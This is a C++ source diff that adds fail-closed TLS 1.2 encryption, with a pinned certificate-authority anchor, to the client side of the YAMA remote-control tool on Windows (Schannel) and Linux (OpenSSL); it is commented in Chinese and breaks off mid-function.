ec.hExclusiveRoot = store;
HCERTCHAINENGINE engine = NULL;
if (!CertCreateCertificateChainEngine(&ec, &engine)) {
CertCloseStore(store, 0);
g_tlsEnabled = false;
g_tlsError = true;
Mprintf("[TLS] FATAL: CertCreateCertificateChainEngine failed; refusing connections (fail-closed)\n");
return;
}
g_tlsStore = store;
g_tlsEngine = engine;
g_tlsEnabled = true;
g_tlsError = false;
Mprintf("[TLS] enabled: trust anchor loaded (%s), all connections use TLS\n", source.c_str());
}
} // namespace
bool TlsEnabled()
{
std::call_once(g_tlsOnce, InitTls);
return g_tlsEnabled;
}
bool TlsLoadError()
{
std::call_once(g_tlsOnce, InitTls);
return g_tlsError;
}
// ---- TlsChannel ----
void TlsChannel::CloseHandles()
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
if (m_ctxValid) { DeleteSecurityContext(&m_ctx); m_ctx = {}; m_ctxValid = false; }
if (m_credValid) { FreeCredentialsHandle(&m_cred); m_cred = {}; m_credValid = false; }
m_ready = false;
m_raw.clear();
m_pending.clear();
}
bool TlsChannel::SendAll(SOCKET sock, const void* data, int len)
{
const char* p = (const char*)data;
int sent = 0;
while (sent < len) {
int n = ::send(sock, p + sent, len - sent, 0);
if (n == SOCKET_ERROR || n == 0)
return false;
sent += n;
}
return true;
}
bool TlsChannel::VerifyServerCert()
{
PCCERT_CONTEXT remote = NULL;
SECURITY_STATUS sc = QueryContextAttributesA(&m_ctx, SECPKG_ATTR_REMOTE_CERT_CONTEXT, &remote);
if (sc != SEC_E_OK || !remote)
return false;
if (!g_tlsStore || !g_tlsEngine) {
CertFreeCertificateContext(remote);
return false;
}
CERT_CHAIN_PARA para = {};
para.cbSize = sizeof(para);
PCCERT_CHAIN_CONTEXT chain = NULL;
// g_tlsEngine 的 hExclusiveRoot 已把信任锚限制为 g_tlsStore;hAdditionalStore 再传一次
// 该 store 供链引擎查找 CA/中间证书。只接受「无任何错误位」的链(含时间有效性)。
// 不设置任何 CERT_CHAIN_REVOCATION_CHECK_* 位 = 不做吊销检查(私有 CA 无 CRL/OCSP,
// 且这些位会触发联网,反而失败);只保留 CERT_CHAIN_DISABLE_AIA 禁止联网取中间证书。
BOOL ok = CertGetCertificateChain(g_tlsEngine, remote, NULL, g_tlsStore, &para,
CERT_CHAIN_DISABLE_AIA,
NULL, &chain);
bool trusted = false;
if (ok && chain) {
trusted = (chain->TrustStatus.dwErrorStatus == CERT_TRUST_NO_ERROR);
}
if (chain) CertFreeCertificateChain(chain);
CertFreeCertificateContext(remote);
return trusted;
}
bool TlsChannel::Handshake(SOCKET sock)
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
CloseHandles(); // 重连时清理上一次会话(recursive 锁,此处可重入)
SCHANNEL_CRED cred = {};
cred.dwVersion = SCHANNEL_CRED_VERSION;
cred.dwFlags = SCH_CRED_MANUAL_CRED_VALIDATION | SCH_CRED_NO_DEFAULT_CREDS;
cred.grbitEnabledProtocols = SP_PROT_TLS1_2_CLIENT; // TLS 1.2(与 Go 端 MinVersion 对齐)
TimeStamp tsExpiry = {};
SECURITY_STATUS sc = AcquireCredentialsHandleA(
NULL, (SEC_CHAR*)"Microsoft Unified Security Protocol Provider",
SECPKG_CRED_OUTBOUND, NULL, &cred, NULL, NULL, &m_cred, &tsExpiry);
if (sc != SEC_E_OK) {
Mprintf("[TLS] AcquireCredentialsHandle failed: 0x%08X\n", (unsigned)sc);
return false;
}
m_credValid = true;
DWORD flags = ISC_REQ_SEQUENCE_DETECT | ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY
| ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_STREAM | ISC_REQ_MANUAL_CRED_VALIDATION;
SecBuffer outBuf = { 0, SECBUFFER_TOKEN, NULL };
SecBufferDesc outDesc = { SECBUFFER_VERSION, 1, &outBuf };
ULONG attrs = 0;
// 首次调用产生 ClientHello
sc = InitializeSecurityContextA(&m_cred, NULL, NULL, flags, 0, SECURITY_NATIVE_DREP,
NULL, 0, &m_ctx, &outDesc, &attrs, &tsExpiry);
m_ctxValid = true; // 上下文已分配,之后必须 DeleteSecurityContext
if (sc != SEC_I_CONTINUE_NEEDED && sc != SEC_E_OK) {
Mprintf("[TLS] InitializeSecurityContext(initial) failed: 0x%08X\n", (unsigned)sc);
CloseHandles();
return false;
}
if (outBuf.cbBuffer > 0 && outBuf.pvBuffer) {
if (!SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer)) {
FreeContextBuffer(outBuf.pvBuffer);
CloseHandles();
return false;
}
FreeContextBuffer(outBuf.pvBuffer);
}
std::vector<BYTE> hs;
char raw[8192];
while (sc == SEC_I_CONTINUE_NEEDED || sc == SEC_E_INCOMPLETE_MESSAGE ||
sc == SEC_I_INCOMPLETE_CREDENTIALS)
{
int r = recv(sock, raw, sizeof(raw), 0);
if (r == SOCKET_ERROR || r == 0) {
Mprintf("[TLS] handshake recv failed/EOF\n");
CloseHandles();
return false;
}
hs.insert(hs.end(), (BYTE*)raw, (BYTE*)raw + r);
SecBuffer inBufs[2] = {
{ (ULONG)hs.size(), SECBUFFER_TOKEN, hs.data() },
{ 0, SECBUFFER_EMPTY, NULL },
};
SecBufferDesc inDesc = { SECBUFFER_VERSION, 2, inBufs };
outBuf = { 0, SECBUFFER_TOKEN, NULL };
outDesc = { SECBUFFER_VERSION, 1, &outBuf };
sc = InitializeSecurityContextA(&m_cred, &m_ctx, NULL, flags, 0, SECURITY_NATIVE_DREP,
&inDesc, 0, NULL, &outDesc, &attrs, &tsExpiry);
// 裁剪已消费的输入,仅保留 SECBUFFER_EXTRA 指向的未消费尾部
if (inBufs[1].BufferType == SECBUFFER_EXTRA) {
int extra = inBufs[1].cbBuffer;
int consumed = (int)hs.size() - extra;
hs.erase(hs.begin(), hs.begin() + consumed);
} else {
hs.clear();
}
if (outBuf.cbBuffer > 0 && outBuf.pvBuffer) {
if (!SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer)) {
FreeContextBuffer(outBuf.pvBuffer);
CloseHandles();
return false;
}
FreeContextBuffer(outBuf.pvBuffer);
}
}
if (sc != SEC_E_OK) {
Mprintf("[TLS] handshake failed: 0x%08X\n", (unsigned)sc);
CloseHandles();
return false;
}
// 握手成功后 hs 里可能残留「未消费的尾部」= 服务端 Finished 后紧跟的首条应用数据
// (TLS 记录)。若不下发,首包会被丢弃,导致随机丢包/协议错位。交给 Recv 解。
if (!hs.empty())
m_raw.insert(m_raw.end(), hs.begin(), hs.end());
if (!VerifyServerCert()) {
Mprintf("[TLS] server certificate not trusted against yama-ca.pem (fail-closed)\n");
CloseHandles();
return false;
}
sc = QueryContextAttributesA(&m_ctx, SECPKG_ATTR_STREAM_SIZES, &m_sizes);
if (sc != SEC_E_OK) {
Mprintf("[TLS] QueryContextAttributes(StreamSizes) failed: 0x%08X\n", (unsigned)sc);
CloseHandles();
return false;
}
m_ready = true;
Mprintf("[TLS] handshake OK (TLS 1.2, server cert trusted)\n");
return true;
}
int TlsChannel::Recv(SOCKET sock, char* out, int outLen)
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
if (!m_ready || outLen <= 0) {
Mprintf("[TLS] Recv called but m_ready=%d (outLen=%d), returning SOCKET_ERROR\n",
(int)m_ready, outLen);
return SOCKET_ERROR;
}
if (!m_pending.empty()) {
int n = (int)m_pending.size() < outLen ? (int)m_pending.size() : outLen;
memcpy(out, m_pending.data(), n);
m_pending.erase(m_pending.begin(), m_pending.begin() + n);
return n;
}
char raw[16384];
for (;;) {
// 优先解密 m_raw 里已缓冲的字节(握手时随 Finished 收下的首条应用数据,或上轮
// 一次 recv 到多条记录后剩下的记录)。select() 只看底层 socket,看不到这些字节,
// 若先 recv 就会把它们卡住(随机延迟/死锁/协议错位)。
while (!m_raw.empty()) {
SecBuffer bufs[4] = {
{ (ULONG)m_raw.size(), SECBUFFER_DATA, m_raw.data() },
{ 0, SECBUFFER_EMPTY, NULL },
{ 0, SECBUFFER_EMPTY, NULL },
{ 0, SECBUFFER_EMPTY, NULL },
};
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
SECURITY_STATUS sc = DecryptMessage(&m_ctx, &desc, 0, NULL);
if (sc == SEC_E_INCOMPLETE_MESSAGE)
break; // 记录不完整,去 recv 补字节
if (sc == SEC_I_CONTEXT_EXPIRED)
return 0; // close_notify
if (sc == SEC_I_RENEGOTIATE || FAILED(sc)) {
// 客户端解密失败(服务端发来的密文损坏/错位)。这里只返回 SOCKET_ERROR,
// 而 WSAGetLastError() 会残留上一次 Winsock 调用的旧值(如 6001),
// 掩盖真实原因,故把真实的 SECURITY_STATUS 记下来。
Mprintf("[TLS] client DecryptMessage failed 0x%08x (raw=%u pending=%u)\n",
(unsigned)sc, (unsigned)m_raw.size(), (unsigned)m_pending.size());
return SOCKET_ERROR;
}
// 流模式 DecryptMessage 会把输入 SECBUFFER_DATA 重组为 4 段:
// bufs[0]=STREAM_HEADER(记录头+nonce)、bufs[1]=DATA(明文)、
// bufs[2]=STREAM_TRAILER(标签)、bufs[3]=EXTRA(下一条记录)。
// 明文在 bufs[1].pvBuffer,不在 m_raw 首字节。
int decLen = bufs[1].cbBuffer;
const BYTE* plain = (const BYTE*)bufs[1].pvBuffer;
int extra = (bufs[3].BufferType == SECBUFFER_EXTRA) ? bufs[3].cbBuffer : 0;
int consumed = (int)m_raw.size() - extra;
m_pending.insert(m_pending.end(), plain, plain + decLen);
m_raw.erase(m_raw.begin(), m_raw.begin() + consumed);
if (!m_pending.empty()) {
int n = (int)m_pending.size() < outLen ? (int)m_pending.size() : outLen;
memcpy(out, m_pending.data(), n);
m_pending.erase(m_pending.begin(), m_pending.begin() + n);
return n;
}
// 无明文的记录(如 alert/CCS):继续循环解下一条
}
int r = recv(sock, raw, sizeof(raw), 0);
if (r == SOCKET_ERROR)
return SOCKET_ERROR;
if (r == 0)
return 0; // 对端关闭(此时无 pending,且 m_raw 已解完/为空)
m_raw.insert(m_raw.end(), (BYTE*)raw, (BYTE*)raw + r);
// 循环回顶部,解密刚收到的字节
}
}
int TlsChannel::Send(SOCKET sock, const char* data, int len)
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
if (!m_ready)
return SOCKET_ERROR;
if (len <= 0)
return 0;
ULONG maxMsg = m_sizes.cbMaximumMessage > 0 ? m_sizes.cbMaximumMessage : 16384;
int total = 0;
while (total < len) {
int chunk = (len - total > (int)maxMsg) ? (int)maxMsg : (len - total);
std::vector<BYTE> rec(m_sizes.cbHeader + chunk + m_sizes.cbTrailer);
BYTE* hdr = rec.data();
BYTE* body = hdr + m_sizes.cbHeader;
BYTE* trailer = body + chunk;
memcpy(body, data + total, chunk);
SecBuffer bufs[4] = {
{ m_sizes.cbHeader, SECBUFFER_STREAM_HEADER, hdr },
{ (ULONG)chunk, SECBUFFER_DATA, body },
{ m_sizes.cbTrailer, SECBUFFER_STREAM_TRAILER, trailer },
{ 0, SECBUFFER_EMPTY, NULL },
};
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
SECURITY_STATUS sc = EncryptMessage(&m_ctx, 0, &desc, 0);
if (FAILED(sc)) {
return total > 0 ? total : SOCKET_ERROR;
}
int wireLen = bufs[0].cbBuffer + bufs[1].cbBuffer + bufs[2].cbBuffer;
if (!SendAll(sock, rec.data(), wireLen)) {
return total > 0 ? total : SOCKET_ERROR;
}
total += chunk;
}
return total;
}
#endif // _WIN32
+174
View File
@@ -0,0 +1,174 @@
// TlsChannel.h — 客户端单向 TLS 会话封装(Windows: Schannel;Linux: OpenSSL)
//
// 用途:为 YAMA 客户端(被控端)提供「按需开启」的传输层加密。当信任锚证书存在时,
// 所有出站 TCP 连接在应用协议首包前先完成 TLS 握手;握手失败一律断开
// (fail-closed,不回退明文)。
//
// 选型:
// - Windows:Schannel(原生 SSPI),零第三方依赖;secur32.lib / crypt32.lib 为系统库。
// - Linux:OpenSSL(构建链已因 libsign 链接 libcrypto,另加 libssl 即可)。
// 两者都是单向 TLS:客户端只校验服务端证书链到固定的信任锚,不提供客户端证书,
// 客户端身份仍由隧道内登录(V1 PwdHmac / V2 ECDSA)承担;均不校主机名(客户端按 IP
// 连接),不做吊销检查——与 Windows 版既有语义保持一致。
//
// 线程模型:Handshake 在连接建立线程上、m_bConnected 置位前调用;Send/Recv 分别在
// 发送线程 / 接收线程上调用。上下文生命周期(Handshake/CloseHandles 释放上下文)与
// Send/Recv 对上下文的使用由 m_ctxMtx 互斥,避免重连线程释放上下文时与使用线程产生
// use-after-free。本对象作为 IOCPClient 的值成员存在,析构时释放上下文。
//
// 平台范围:_WIN32 与 Linux(非 Android)有实现;macOS / Android 不含任何内容,客户端
// 维持明文(TLS 接入按设计文档延后)。两平台都通过 YAMA_TLS_CHANNEL 宏告知调用方
// 「本平台有 TLS 通道」。
#pragma once
#if defined(_WIN32)
#define YAMA_TLS_CHANNEL 1
#include <WinSock2.h>
#ifndef SECURITY_WIN32
#define SECURITY_WIN32 1
#endif
#include <security.h>
#include <schannel.h>
#include <mutex>
#include <vector>
// 进程级 TLS 开关:首次调用时加载信任锚(注册表或文件),返回是否启用。线程安全、幂等。
bool TlsEnabled();
// 信任锚已配置但加载失败(损坏/格式错误)时为 true:表示管理员已「颁发」证书,
// 客户端必须拒绝连接(fail-closed),不得静默回退明文。线程安全、幂等。
bool TlsLoadError();
class TlsChannel
{
public:
TlsChannel() {}
~TlsChannel() { CloseHandles(); }
// 持 Schannel 句柄,禁止拷贝/赋值(避免句柄被二次释放)。
TlsChannel(const TlsChannel&) = delete;
TlsChannel& operator=(const TlsChannel&) = delete;
// 在已连通的 socket 上完成 TLS 客户端握手并校验服务端证书链。失败返回 false,
// 调用方必须关闭 socket(fail-closed)。可重复调用(重连时复用同一对象)。
bool Handshake(SOCKET sock);
// 解密读取:返回 >0 的明文字节数;0 表示对端正常关闭;SOCKET_ERROR(-1) 出错。
int Recv(SOCKET sock, char* buf, int len);
// 加密发送 len 字节:成功返回已完整发送的明文字节数(== len);失败返回已发送的
// 前缀字节数(>0)或 SOCKET_ERROR(一个字节都没发出去时)。
int Send(SOCKET sock, const char* buf, int len);
// 是否有待交付的数据:已解密明文(m_pending)或已缓冲但尚未解密的 TLS 记录(m_raw)。
// 供接收线程在 select 前优先消费——select 只看底层 socket,看不到 Schannel 缓冲的
// m_raw(握手时随 Finished 收下的首条应用数据、或一次 recv 到多条记录后的剩余),
// 若这里不把 m_raw 也算作「有数据」,这些字节会被 select 卡住。
bool HasPending() const { return !m_pending.empty() || !m_raw.empty(); }
// 握手是否已完成(Send/Recv 可用)。诊断用:区分「本连接已走 TLS」与「裸连接」。
bool IsReady() const { return m_ready; }
private:
void CloseHandles();
bool SendAll(SOCKET sock, const void* data, int len);
bool VerifyServerCert();
CredHandle m_cred = {};
CtxtHandle m_ctx = {};
bool m_credValid = false; // m_cred 已分配,需 FreeCredentialsHandle
bool m_ctxValid = false; // m_ctx 已分配,需 DeleteSecurityContext
bool m_ready = false; // 握手完成,Send/Recv 可用
SecPkgContext_StreamSizes m_sizes = {};
// 保护上下文生命周期:重连线程的 Handshake/CloseHandles(释放 m_ctx)与工作线程的
// Recv(DecryptMessage)、发送线程的 Send(EncryptMessage)互斥,避免 use-after-free。
// recursive 是因为 Handshake 内部会再调 CloseHandles。
std::recursive_mutex m_ctxMtx;
std::vector<BYTE> m_raw; // 尚未解密 / 未消费完的 TLS 记录原始字节
std::vector<BYTE> m_pending; // 已解密、未交付给应用层的明文
};
#elif defined(__linux__) && !defined(__ANDROID__)
#define YAMA_TLS_CHANNEL 1
#include <string>
#include <mutex>
struct ssl_st; // OpenSSL 的 SSL 类型,避免头文件把 openssl/ssl.h 拖进所有翻译单元
// 进程级 TLS 开关:首次调用时加载信任锚文件,返回是否启用。线程安全、幂等。
// Linux 版是「可热切换」的:TlsReload() 之后本函数立刻反映新状态(不是 call_once)。
bool TlsEnabled();
// 信任锚已配置但加载失败(无法读取/格式错误/内容为空)时为 true:客户端必须拒绝连接
// (fail-closed),不得静默回退明文。线程安全、幂等。
bool TlsLoadError();
// 服务端下发信任锚(COMMAND_TLS_ENABLE):把 PEM 正文写入
// $XDG_CONFIG_HOME/ghost/yama-ca.pem(默认 ~/.config/ghost/yama-ca.pem,无 HOME 时退回
// 程序目录),原子替换、权限 0600。写入前先解析验证,不是合法证书就整包拒绝。
// 落盘后用 TlsReload() 立即生效(Windows 客户端仍要重启进程)。
bool TlsTrustAnchorSave(const std::string& pem, std::string& err);
// 服务端撤销信任锚(COMMAND_TLS_DISABLE):删除上述配置文件(含程序目录同名文件)。
// 返回是否删掉了至少一个文件;之后同样用 TlsReload() 立即生效。
bool TlsTrustAnchorRemove(std::string& err);
// 按当前信任锚文件重建 TLS 上下文并更新开关,让随后建立的新连接立刻走新传输方式
// (已建立的连接不受影响:SSL 对象自持 SSL_CTX 引用)。信任锚无效时不做任何改动、
// 返回 false 并给出原因——一次坏下发不该把正在工作的客户端打死(下次启动仍 fail-closed)。
// 线程安全:与 TlsEnabled/TlsLoadError/Handshake 互斥。
bool TlsReload(std::string& err);
class TlsChannel
{
public:
TlsChannel() {}
~TlsChannel() { CloseHandles(); }
// 持 SSL*,禁止拷贝/赋值(避免上下文被二次释放)。
TlsChannel(const TlsChannel&) = delete;
TlsChannel& operator=(const TlsChannel&) = delete;
// 在已连通的 socket 上完成 TLS 1.2 客户端握手并按信任锚校验服务端证书链。失败返回
// false,调用方必须关闭 socket(fail-closed)。可重复调用(重连时复用同一对象)。
bool Handshake(int sock);
// 解密读取:返回 >0 的明文字节数;0 表示对端正常关闭;SOCKET_ERROR(-1) 出错。
int Recv(int sock, char* buf, int len);
// 加密发送 len 字节:成功返回已完整发送的明文字节数(== len);失败返回已发送的
// 前缀字节数(>0)或 SOCKET_ERROR(一个字节都没发出去时)。
int Send(int sock, const char* buf, int len);
// 是否有待交付的数据(SSL 内部已缓冲)供接收线程在 select 前优先消费。OpenSSL 会在
// 一个 TLS 记录里装多条应用数据,一次 SSL_read 只交付一部分;剩余的留在 SSL 内部,
// select 看不到,必须用 SSL_has_pending() 才能避免被 2 秒超时卡住。
bool HasPending() const;
// 握手是否已完成(Send/Recv 可用)。诊断用:区分「本连接已走 TLS」与「裸连接」。
bool IsReady() const { return m_ready; }
private:
void CloseHandles();
ssl_st* m_ssl = nullptr;
int m_fd = -1;
bool m_ready = false; // 握手完成,Send/Recv 可用
// 保护上下文生命周期:重连线程的 Handshake/CloseHandles(释放 m_ssl)与工作线程的
// Recv(SSL_read)、发送线程的 Send(SSL_write)互斥。OpenSSL 的 SSL 对象不允许
// 并发使用,所以 Send/Recv 也持锁——与 Windows 版同样式。
// mutable 是因为 HasPending() 是 const 但需要持锁读 m_ssl。
mutable std::recursive_mutex m_ctxMtx;
};
#endif // _WIN32 / __linux__ && !__ANDROID__
+559
View File
@@ -0,0 +1,559 @@
// TlsChannelLinux.cpp — 见 TlsChannel.h 头注释。仅 Linux(非 Android)编译。
//
// 与 Windows 的 Schannel 实现语义对齐:
// - 单向 TLS 1.2(min=max=1.2,与 SP_PROT_TLS1_2_CLIENT 及两套服务端一致);
// - 信任锚严格钉扎:证书链只按信任锚文件里的证书校验,不含系统根库;
// - 不校主机名(客户端按 IP 连接,与 Windows 版一致)、不做吊销检查;
// - 信任锚「存在即已配置」:读取/解析失败一律 TlsLoadError()=true → 调用方拒绝连接。
//
// 与 Windows 实现的差异:OpenSSL 自己管理 TLS 记录缓冲,不需要 m_raw/m_pending;
// 一次性交付不出去的明文留在 SSL 内部,由 SSL_has_pending()/SSL_pending() 暴露给
// 接收线程在 select 前优先消费。
#if defined(__linux__) && !defined(__ANDROID__)
#include "TlsChannel.h"
#include "common/commands.h" // SOCKET_ERROR / closesocket 等 POSIX 兼容宏
#include "common/logger.h" // Mprintf
#include <openssl/err.h>
#include <openssl/pem.h>
#include <openssl/ssl.h>
#include <openssl/x509.h>
#include <openssl/x509_vfy.h>
#include <cerrno>
#include <cstdlib>
#include <cstring>
#include <fstream>
#include <iterator>
#include <mutex>
#include <string>
#include <vector>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
namespace {
const char* const kAnchorName = "yama-ca.pem";
// 进程级 TLS 状态。与 Windows 版的 call_once 不同,这里可由 TlsReload() 热切换
// (服务端 COMMAND_TLS_ENABLE/DISABLE 落盘后立即重建),因此用互斥量而不是 once_flag。
std::mutex g_stateMtx; // 保护下面四项
bool g_inited = false; // 首次加载已完成(含 fail-closed 基态)
bool g_tlsEnabled = false; // TLS 会话可用:send/recv 走加密
bool g_tlsError = false; // 信任锚存在但加载失败:拒绝连接(fail-closed)
SSL_CTX* g_tlsCtx = nullptr; // 进程级上下文(线程安全,可被多条连接共享)
std::string g_anchorPath; // 仅用于日志
// 配置目录:与 LinuxConfig 相同规则($XDG_CONFIG_HOME/ghost 或 ~/.config/ghost)。
std::string ConfigDir()
{
const char* xdg = getenv("XDG_CONFIG_HOME");
if (xdg && xdg[0])
return std::string(xdg) + "/ghost";
const char* home = getenv("HOME");
if (!home || !home[0])
return std::string();
return std::string(home) + "/.config/ghost";
}
// 可执行文件所在目录(readlink /proc/self/exe,失败返回空)。
std::string ExeDir()
{
char buf[4096];
ssize_t n = readlink("/proc/self/exe", buf, sizeof(buf) - 1);
if (n <= 0)
return std::string();
buf[n] = '\0';
char* slash = strrchr(buf, '/');
if (!slash)
return std::string();
*slash = '\0';
return std::string(buf);
}
// 信任锚候选路径(按优先级),只返回已经存在的那个:
// 1) $XDG_CONFIG_HOME/ghost/yama-ca.pem(默认 ~/.config/ghost/yama-ca.pem)
// 2) 可执行文件同目录 yama-ca.pem(兼容手工投递,与 Windows 的 exe 同名文件回退一致)
bool FindAnchorPath(std::string& out)
{
std::vector<std::string> cands;
std::string dir = ConfigDir();
if (!dir.empty())
cands.push_back(dir + "/" + kAnchorName);
std::string exed = ExeDir();
if (!exed.empty())
cands.push_back(exed + "/" + kAnchorName);
for (size_t i = 0; i < cands.size(); ++i) {
if (access(cands[i].c_str(), F_OK) == 0) {
out = cands[i];
return true;
}
}
return false;
}
// 递归 mkdir -p(已存在视为成功)。
bool MkdirP(const std::string& path, mode_t mode)
{
if (path.empty())
return false;
struct stat st;
if (stat(path.c_str(), &st) == 0)
return S_ISDIR(st.st_mode);
size_t slash = path.find_last_of('/');
if (slash != std::string::npos && slash > 0) {
if (!MkdirP(path.substr(0, slash), mode))
return false;
}
if (mkdir(path.c_str(), mode) != 0 && errno != EEXIST)
return false;
return true;
}
// 把 PEM(可含多张证书)或 DER 信任锚写入 store。返回加入的证书数。
int LoadAnchors(const std::string& data, X509_STORE* store)
{
int added = 0;
if (data.find("-----BEGIN") != std::string::npos) {
BIO* bio = BIO_new_mem_buf(data.data(), (int)data.size());
if (bio) {
for (;;) {
X509* cert = PEM_read_bio_X509(bio, NULL, NULL, NULL);
if (!cert)
break;
if (X509_STORE_add_cert(store, cert) == 1)
++added;
else
ERR_clear_error(); // 重复证书等:忽略该张,继续读后面的
X509_free(cert);
}
BIO_free(bio);
}
ERR_clear_error();
}
if (added == 0) {
// 退回 DER(单张)
const unsigned char* p = (const unsigned char*)data.data();
X509* cert = d2i_X509(NULL, &p, (long)data.size());
if (cert) {
if (X509_STORE_add_cert(store, cert) == 1)
++added;
else
ERR_clear_error();
X509_free(cert);
}
ERR_clear_error();
}
return added;
}
enum BuildResult
{
BUILD_PLAINTEXT, // 没有信任锚文件 → 明文模式
BUILD_READY, // *outCtx 为新建上下文,调用方接管所有权
BUILD_INVALID, // 文件存在但读不了/解析不出证书(err 说明原因)
};
// 按当前信任锚文件构建一份新的 TLS 上下文。不读写任何全局状态,便于「先构建、成功再替换」。
BuildResult BuildState(SSL_CTX** outCtx, std::string& anchorPath, std::string& err, int& certs)
{
*outCtx = nullptr;
certs = 0;
anchorPath.clear();
std::string path;
if (!FindAnchorPath(path)) {
// 无证书 → 明文(默认,与老客户端一致)
return BUILD_PLAINTEXT;
}
anchorPath = path;
// 证书已配置:管理员已「颁发」,必须走 TLS;读取/解析失败即拒绝连接(fail-closed),
// 不能静默回退明文。
std::ifstream f(path.c_str(), std::ios::binary);
if (!f) {
err = "cannot open " + path + ": " + strerror(errno);
return BUILD_INVALID;
}
std::string pem((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
SSL_CTX* ctx = SSL_CTX_new(TLS_client_method());
if (!ctx) {
err = "SSL_CTX_new failed";
return BUILD_INVALID;
}
// TLS 1.2 钉扎:与 Windows 客户端(SP_PROT_TLS1_2_CLIENT)及两套服务端(Schannel
// SP_PROT_TLS1_2_SERVER / Go MinVersion=TLS1.2)保持一致。
SSL_CTX_set_min_proto_version(ctx, TLS1_2_VERSION);
SSL_CTX_set_max_proto_version(ctx, TLS1_2_VERSION);
// SSL_VERIFY_PEER + 自定义 store = 严格钉扎到信任锚(不含系统根库),链校验在握手内
// 完成,失败即握手失败。verify 回调传 NULL 使用默认行为(只验链,不校主机名)。
SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, NULL);
SSL_CTX_set_verify_depth(ctx, 8);
// 对端不打招呼就断开(不发 close_notify)在这里是常态:服务端关闭子连接时不发,
// 客户端自己也同样不发(见 CloseHandles 的说明)。OpenSSL 3.0 起这种 unexpected EOF
// 被归为 SSL_ERROR_SSL 协议错误,于是每结束一个终端/文件传输子连接都会记一条
// 「SSL_read failed」——线上日志看着像 TLS 坏了。打开这个选项让它按正常关闭处理
// (SSL_read 返回 0),与 Recv 的文档语义以及 Windows 版的行为一致。
#ifdef SSL_OP_IGNORE_UNEXPECTED_EOF
SSL_CTX_set_options(ctx, SSL_OP_IGNORE_UNEXPECTED_EOF);
#endif
X509_STORE* store = X509_STORE_new();
certs = store ? LoadAnchors(pem, store) : 0;
if (!store || certs <= 0) {
if (store)
X509_STORE_free(store);
SSL_CTX_free(ctx);
certs = 0;
err = "trust anchor " + path + " present but empty/invalid";
return BUILD_INVALID;
}
SSL_CTX_set_cert_store(ctx, store); // ctx 接管 store 所有权
*outCtx = ctx;
return BUILD_READY;
}
// 替换全局状态并释放旧上下文(调用方持 g_stateMtx)。SSL 对象在 SSL_new 时已递增
// SSL_CTX 的引用计数,所以已经建立的连接不会因为这里释放旧 ctx 而失效。
void InstallStateLocked(SSL_CTX* ctx, bool enabled, bool error, const std::string& anchor)
{
SSL_CTX* old = g_tlsCtx;
g_tlsCtx = ctx;
g_tlsEnabled = enabled;
g_tlsError = error;
g_anchorPath = anchor;
if (old)
SSL_CTX_free(old);
}
// 首次加载(调用方持锁):锚存在但无效时置 fail-closed。
void EnsureInitLocked()
{
if (g_inited)
return;
g_inited = true;
SSL_CTX* ctx = nullptr;
std::string anchor, err;
int certs = 0;
switch (BuildState(&ctx, anchor, err, certs)) {
case BUILD_PLAINTEXT:
InstallStateLocked(nullptr, false, false, anchor);
Mprintf("[TLS] disabled: no trust anchor configured, plaintext mode\n");
break;
case BUILD_READY:
InstallStateLocked(ctx, true, false, anchor);
Mprintf("[TLS] enabled: trust anchor loaded (%s, %d cert(s)), all connections use TLS\n",
anchor.c_str(), certs);
break;
case BUILD_INVALID:
InstallStateLocked(nullptr, false, true, anchor);
Mprintf("[TLS] FATAL: %s; refusing connections (fail-closed)\n", err.c_str());
break;
}
}
} // namespace
bool TlsEnabled()
{
std::lock_guard<std::mutex> lk(g_stateMtx);
EnsureInitLocked();
return g_tlsEnabled;
}
bool TlsLoadError()
{
std::lock_guard<std::mutex> lk(g_stateMtx);
EnsureInitLocked();
return g_tlsError;
}
bool TlsReload(std::string& err)
{
std::lock_guard<std::mutex> lk(g_stateMtx);
EnsureInitLocked(); // 未初始化就先按启动语义建立基态,保持 fail-closed 行为
SSL_CTX* ctx = nullptr;
std::string anchor;
int certs = 0;
BuildResult r = BuildState(&ctx, anchor, err, certs);
if (r == BUILD_INVALID) {
// 保留原状态:一次坏下发不该让正在工作的客户端失联(下次启动仍会 fail-closed)。
Mprintf("[TLS] reload FAILED: %s; keeping current transport (%s)\n",
err.c_str(), g_tlsEnabled ? "TLS" : "plaintext");
return false;
}
if (r == BUILD_PLAINTEXT) {
InstallStateLocked(nullptr, false, false, anchor);
Mprintf("[TLS] reloaded: no trust anchor, transport is now plaintext\n");
return true;
}
InstallStateLocked(ctx, true, false, anchor);
Mprintf("[TLS] reloaded: trust anchor %s (%d cert(s)), transport is now TLS\n",
anchor.c_str(), certs);
return true;
}
// ---- 信任锚下发 / 撤销(服务端 COMMAND_TLS_ENABLE / COMMAND_TLS_DISABLE)----
bool TlsTrustAnchorSave(const std::string& pem, std::string& err)
{
if (pem.empty()) {
err = "empty certificate payload";
return false;
}
// 先验证再落盘:文件一旦写进去,下次启动就会被无条件信任,坏锚等于把客户端锁死
// (fail-closed 连不上,也没法再从服务端改回来)。宁可拒绝一次下发。
{
X509_STORE* probe = X509_STORE_new();
int n = probe ? LoadAnchors(pem, probe) : 0;
if (probe)
X509_STORE_free(probe);
if (n <= 0) {
err = "payload is not a valid PEM/DER certificate";
return false;
}
}
std::string dir = ConfigDir();
if (dir.empty()) {
dir = ExeDir(); // 无 HOME 的极端环境:退回程序目录
if (dir.empty()) {
err = "cannot resolve config directory";
return false;
}
}
if (!MkdirP(dir, 0700)) {
err = "cannot create directory " + dir + ": " + strerror(errno);
return false;
}
std::string path = dir + "/" + kAnchorName;
std::string tmp = path + ".tmp";
int fd = open(tmp.c_str(), O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (fd < 0) {
err = "cannot create " + tmp + ": " + strerror(errno);
return false;
}
size_t off = 0;
while (off < pem.size()) {
ssize_t w = write(fd, pem.data() + off, pem.size() - off);
if (w <= 0) {
